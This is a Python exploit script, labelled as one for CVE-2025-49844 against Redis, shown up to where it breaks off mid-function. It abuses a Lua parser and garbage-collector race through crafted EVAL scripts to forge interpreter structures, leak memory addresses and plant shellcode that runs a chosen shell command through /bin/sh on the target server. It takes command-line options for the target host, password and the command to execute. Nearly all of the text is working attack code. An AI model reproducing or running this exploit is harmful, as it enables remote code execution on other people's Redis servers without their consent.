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| #!/usr/bin/env python3
import argparse
import random
import redis
import struct
from io import StringIO
from urllib.parse import urlparse
from dataclasses import dataclass, field
from typing import Any, Callable, Optional, Protocol, Tuple, cast
from iced_x86 import (
BlockEncoder,
Code,
Instruction as Instr,
MemoryOperand,
Register,
)
# Global variable for the args
args = None
def log_success(msg: str):
"""
Logs a success message to stdout
Arguments:
msg(str): The message to log
"""
print(f"[+] {msg}")
def log_failure(msg: str):
"""
Logs a failure message to stdout
Arguments:
msg(str): The message to log
"""
print(f"[-] {msg}")
def log_info(msg: str):
"""
Logs a info message to stdout
Arguments:
msg(str): The message to log
"""
print(f"[*] {msg}")
def log_result(msg: str):
"""
Logs a result message to stdout
Arguments:
msg(str): The message to log
"""
print(f"[>] {msg}")
@dataclass
class ParsedArgs:
host: str
port: int
password: str | None
timeout: int
force: bool
command: str | None
@dataclass
class CoreAddrs:
redis_base: int
luaAlloc: int
mprotect: int
pthread_create: int
@dataclass
class TargetInfo:
name: str
redis_version: str
redis_build_id: str
@dataclass
class ExploitState:
target: TargetInfo
addrs: CoreAddrs
megabin_address: int
shellcode_entry: int
shellcode_page: int
@dataclass
class ShellcodeContext:
origin: int
addrs: CoreAddrs
luastate: int
body_callback: Callable[["ShellcodeContext"], Optional[Tuple[bytes, int]]]
class TargetModule(Protocol):
def info(self) -> TargetInfo:
...
def core_addrs(self, luaAlloc: int) -> Optional[CoreAddrs]:
...
def create_shellcode(self, context: ShellcodeContext, shellcode: bytes, shellcode_body_address: int) -> Optional[Tuple[bytes, int]]:
...
def build_pivot_payload(self, state: ExploitState) -> Tuple[bytes, bytes]:
...
@dataclass
class CClosure:
nupvalues: int = field(default=0)
p_gclist: int = field(default=0)
p_env: int = field(default=0)
p_function: int = field(default=0)
def build(self, next: int = 0) -> bytes:
data = b""
data += struct.pack("<Q", next)
data += b"\x06"
data += b"\x00"
data += b"\x01"
data += struct.pack("B", self.nupvalues)
data += b"\x00" * 4
data += struct.pack("<QQQ", self.p_gclist, self.p_env, self.p_function)
assert len(data) == 0x28
return data
@dataclass
class Proto:
p_k: int = field(default=0)
p_code: int = field(default=0)
p_p_p: int = field(default=0)
p_lineinfo: int = field(default=0)
p_locvars: int = field(default=0)
p_p_upvalues: int = field(default=0)
p_source: int = field(default=0)
sizeupvalues: int = field(default=0)
sizek: int = field(default=0)
sizecode: int = field(default=0)
sizelineinfo: int = field(default=0)
sizep: int = field(default=0)
sizelocvars: int = field(default=0)
linedefined: int = field(default=0)
lastlinedefined: int = field(default=0)
p_gclist: int = field(default=0)
nups: int = field(default=0)
numparams: int = field(default=0)
is_vararg: int = field(default=0)
maxstacksize: int = field(default=0)
def build_into_tstring_contents(self) -> bytes:
data = self.build()
next_ptr = struct.unpack("<Q", data[0x00:0x08])[0]
if next_ptr != 0:
log_failure("Proto::next is not null")
p_k = struct.unpack("<Q", data[0x10:0x18])[0]
if p_k != 0:
log_failure("Proto::k is not null")
return data[0x18:]
def build(self) -> bytes:
data = b""
data += b"\x00" * 8
data += b"\x09"
data += b"\x02"
data += b"\x00" * 6
data += struct.pack("<QQQQQQQIIIIIIIIQBBBB", *[
self.p_k,
self.p_code,
self.p_p_p,
self.p_lineinfo,
self.p_locvars,
self.p_p_upvalues,
self.p_source,
self.sizeupvalues,
self.sizek,
self.sizecode,
self.sizelineinfo,
self.sizep,
self.sizelocvars,
self.linedefined,
self.lastlinedefined,
self.p_gclist,
self.nups,
self.numparams,
self.is_vararg,
self.maxstacksize,
])
assert len(data) == 0x74
return data
@dataclass
class ScriptOptions:
opcodes: Tuple[int, int] = field(default=(0, 0))
megabin: str = field(default="")
leak_addr: int = field(default=0)
upval_address: int = field(default=0)
shellcode: str = field(default="")
root_local_count: int = field(default=0)
g0_prefix_count: int = field(default=6)
g1_prefix_count: int = field(default=6)
g2_prefix_count: int = field(default=6)
g3_prefix_count: int = field(default=6)
step: int = field(default=0)
@dataclass
class Opcodes:
opcodes: list[int]
def __len__(self) -> int:
return len(self.opcodes)
def to_bytes_le(self) -> bytes:
return b"".join([u32_le(opcode) for opcode in self.opcodes])
def parse_args() -> ParsedArgs:
"""
Parses the command line args
Required arguments are marked by a star (*)
Returns:
ParsedArgs: the parsed args
"""
# Add some default checks
parser = argparse.ArgumentParser(description="CVE-2025-49844 exploit script by cc3305")
parser.add_argument("host", action="store", help="Target Redis host, optionally with a port")
parser.add_argument("-p", "--port", action="store", type=int, default=6379, help="Target Redis port. Defaults to 6379")
parser.add_argument("-a", "--password", action="store", help="Redis password")
parser.add_argument("--timeout", action="store", type=int, default=5, help="The Redis connection timeout in seconds. Defaults to 5s")
parser.add_argument("-f", "--force", action="store_true", help="Force the exploit (skip the check if the host is vulnerable)")
# Add more checks according to exploit, e.g. add a "--command" for a RCE exploit
parser.add_argument("-C", "--command", action="store", help="Command to run on the target if exploited successfully")
# Return the parsed args
result = parser.parse_args()
result.host, result.port = parse_target(result.host, result.port)
return ParsedArgs(**vars(result))
def parse_target(target: str, default_port: int) -> tuple[str, int]:
"""
Parses the target host and port
Arguments:
target(str): The target
default_port(int): The default port
Returns:
tuple[str, int]: The parsed host and port
"""
if "://" in target:
parsed = urlparse(target)
return parsed.hostname or target, parsed.port or default_port
host, separator, port = target.rpartition(":")
if separator == "" or not port.isdigit():
return target, default_port
return host, int(port)
def redis_client() -> redis.Redis:
"""
Creates a Redis client
Returns:
redis.Redis: The Redis client
"""
return redis.Redis(host=args.host, port=args.port, password=args.password, socket_timeout=args.timeout, socket_connect_timeout=args.timeout, decode_responses=True)
def redis_binary_client() -> redis.Redis:
"""
Creates a Redis client for binary exploit payloads
Returns:
redis.Redis: The Redis client
"""
return redis.Redis(host=args.host, port=args.port, password=args.password, socket_timeout=args.timeout, socket_connect_timeout=args.timeout, decode_responses=False)
def u32_le(value: int) -> bytes:
return struct.pack("<I", value)
def u64_le(value: int) -> bytes:
return struct.pack("<Q", value)
def u64_silly(value: int) -> int:
return struct.unpack("<Q", struct.pack("B", value) * 8)[0]
def optional_map(value: Any | None, f: Callable[[Any], Any | None]) -> Any | None:
if value is None:
return None
return f(value)
def add_label(id: int, instruction: Instr) -> Instr:
instruction.ip = id
return instruction
def lua_encode(data: bytes) -> str:
with StringIO() as writer:
for byte in data:
writer.write(f"\\{byte:03}")
return writer.getvalue()
def proto4stub() -> str:
# This chunk gives us multiple closures with a predictable Proto shape
contents = ""
contents += "local empty000 = {}\\n"
contents += "empty000.source = nil\\n"
contents += "local hello000 = __redis__err__handler\\n"
contents += "local function h0000000 () local t0000000 = hello000; return empty000 end\\n"
contents += "local function i0000000 () local t0000000 = hello000; return empty000 end\\n"
contents += "local function j0000000 () local t0000000 = hello000; return empty000 end\\n"
contents += "local function k0000000 () local t0000000 = hello000; return empty000 end\\n"
contents += "local l0000000 = i0000000()\\n"
contents += "if type(l0000000) == \"function\" then return l0000000() end\\n"
contents += "return l0000000.source"
return contents
def proto_encode_tstring(proto: Proto) -> str:
proto.linedefined = random.randint(0, 0xFFFF_FFFF)
proto.lastlinedefined = random.randint(0, 0xFFFF_FFFF)
return lua_encode(proto.build_into_tstring_contents())
def create_script(options: ScriptOptions) -> str:
# Build the Lua parser/GC race script around the current heap addresses
def proto() -> str:
p_code, sizecode = options.opcodes
proto_obj = Proto(p_code=p_code, p_source=options.leak_addr, sizecode=sizecode, nups=1)
return proto_encode_tstring(proto_obj)
upval_addr = lua_encode(struct.pack("<Q", options.upval_address))
g0_prefix = "\n".join([f'local y0_{i} = string.sub(" {proto()}", 2)' for i in range(options.g0_prefix_count)])
g1_prefix = "\n".join([f'local y1_{i} = string.sub(" {proto()}", 2)' for i in range(options.g1_prefix_count)])
g2_prefix = "\n".join([f'local y2_{i} = string.sub(" {proto()}", 2)' for i in range(options.g2_prefix_count)])
g3_prefix = "\n".join([f'local y3_{i} = string.sub(" {proto()}", 2)' for i in range(options.g3_prefix_count)])
root_locals = "\n".join([f"local L{i} = 0" for i in range(options.root_local_count)])
where_locals = "\n".join([f"local u{i} = 0" for i in range((0x200 - 0x28) // 8)])
where_returns = ", ".join([f"u{i}" for i in range((0x200 - 0x28) // 8)])
script = f"""
local zerosizestr = ''
local container = {{"{options.shellcode}"}}
if ARGV[1] == "dest" then
return tostring(container)
end
local reserved = {{}}
local index = 0
local function myloader ()
local myindex = index
index = index + 1
if myindex == 0 then
return nil
elseif myindex == 1 then
collectgarbage("collect")
{g0_prefix}
local g0 = loadstring('{proto4stub()}')
{g1_prefix}
local g1 = loadstring('{proto4stub()}')
{g2_prefix}
local g2 = loadstring('{proto4stub()}')
{g3_prefix}
local g3 = loadstring('{proto4stub()}')
reserved[0] = g0
reserved[1] = g1
reserved[2] = g2
reserved[3] = g3
return 'return __redis__err__handler().source'
end
end
{root_locals}
local f = load(myloader)
if ARGV[1] == "where" then
{where_locals}
local function a () return {where_returns} end
return tostring(a)
end
reserved['o'] = string.sub(" {options.megabin}", 2)
if ARGV[1] == "tostring" then
return tostring(temp)
elseif ARGV[1] == "check" then
return f()
end
local s = 0
s = string.sub(" {upval_addr} 0000000", 2)
s = string.sub(" {upval_addr} 0000001", 2)
s = string.sub(" {upval_addr} 0000002", 2)
s = string.sub(" {upval_addr} 0000003", 2)
s = string.sub(" {upval_addr} 0000004", 2)
s = string.sub(" {upval_addr} 0000005", 2)
s = string.sub(" {upval_addr} 0000006", 2)
s = string.sub(" {upval_addr} 0000007", 2)
s = string.sub(" {upval_addr} 0000008", 2)
s = string.sub(" {upval_addr} 0000009", 2)
s = string.sub(" {upval_addr} 0000010", 2)
s = string.sub(" {upval_addr} 0000011", 2)
s = string.sub(" {upval_addr} 0000012", 2)
s = string.sub(" {upval_addr} 0000013", 2)
s = string.sub(" {upval_addr} 0000014", 2)
s = string.sub(" {upval_addr} 0000015", 2)
s = string.sub(" {upval_addr} 0000016", 2)
s = string.sub(" {upval_addr} 0000017", 2)
s = string.sub(" {upval_addr} 0000018", 2)
s = string.sub(" {upval_addr} 0000019", 2)
collectgarbage("collect")
local a = reserved[0]()
local b = reserved[1]()
local c = reserved[2]()
local d = reserved[3]()
if a ~= nil then return a end
if b ~= nil then return b end
if c ~= nil then return c end
if d ~= nil then return d end
return nil
"""
return "\n".join([line for line in script.split("\n") if not line.lstrip().startswith("--")])
def parse_leaked_tostring_addr(contents: bytes) -> Optional[int]:
if contents.startswith(b"function: "):
return int(contents.lstrip(b"function: "), 16)
if contents.startswith(b"table: "):
return int(contents.lstrip(b"table: "), 16)
return None
def leaked_addr(data: bytes) -> Optional[int]:
if len(data) < 6:
log_failure("Did not leak at least 6 bytes")
return None
data += b"\x00" * (8 - len(data))
return int(struct.unpack("<Q", data)[0])
def perform_leak(client: redis.Redis, options: ScriptOptions, address: int, count: int, argv: list[bytes | str] | None = None) -> Optional[bytes]:
# The fake Proto points `source` at an arbitrary address and Redis returns it as bytes
options = dataclasses_replace(options, leak_addr=address)
argv = argv if argv is not None else []
data = b""
failcount = 0
while True:
script = create_script(options)
client.script_flush("SYNC")
log_info(f"Uploading script (leak: 0x{options.leak_addr:x})")
result = cast(Any, client.eval(script, 0, *argv))
log_info(f"Result: {result}")
if result is None:
failcount += 1
if failcount > 3:
log_failure("Leak max failcount exceeded")
return None
log_failure("Leak failed, trying again")
continue
failcount = 0
if not isinstance(result, bytes):
log_failure(f"Failed to leak, returned non-bytes: 0x{options.leak_addr:x}")
return None
result += b"\x00"
data += result
if count <= len(data):
return data
options.leak_addr += len(result)
def dataclasses_replace(options: ScriptOptions, **changes: Any) -> ScriptOptions:
values = options.__dict__.copy()
values.update(changes)
return ScriptOptions(**values)
def create_shellcode_body_command(context: ShellcodeContext, command: bytes) -> Optional[Tuple[bytes, int]]:
if b"\x00" in command:
log_failure("Shell command cannot contain null bytes")
return None
if len(command) > 0x800:
log_failure("Shell command is too large")
return None
# The payload forks and execs `/bin/sh -c <command>` without capturing output
shellcode = b""
bin_sh_offset = len(shellcode)
shellcode += b"/bin/sh\x00"
dash_c_offset = len(shellcode)
shellcode += b"-c\x00"
command_offset = len(shellcode)
shellcode += command + b"\x00"
env_var_path_offset = len(shellcode)
|
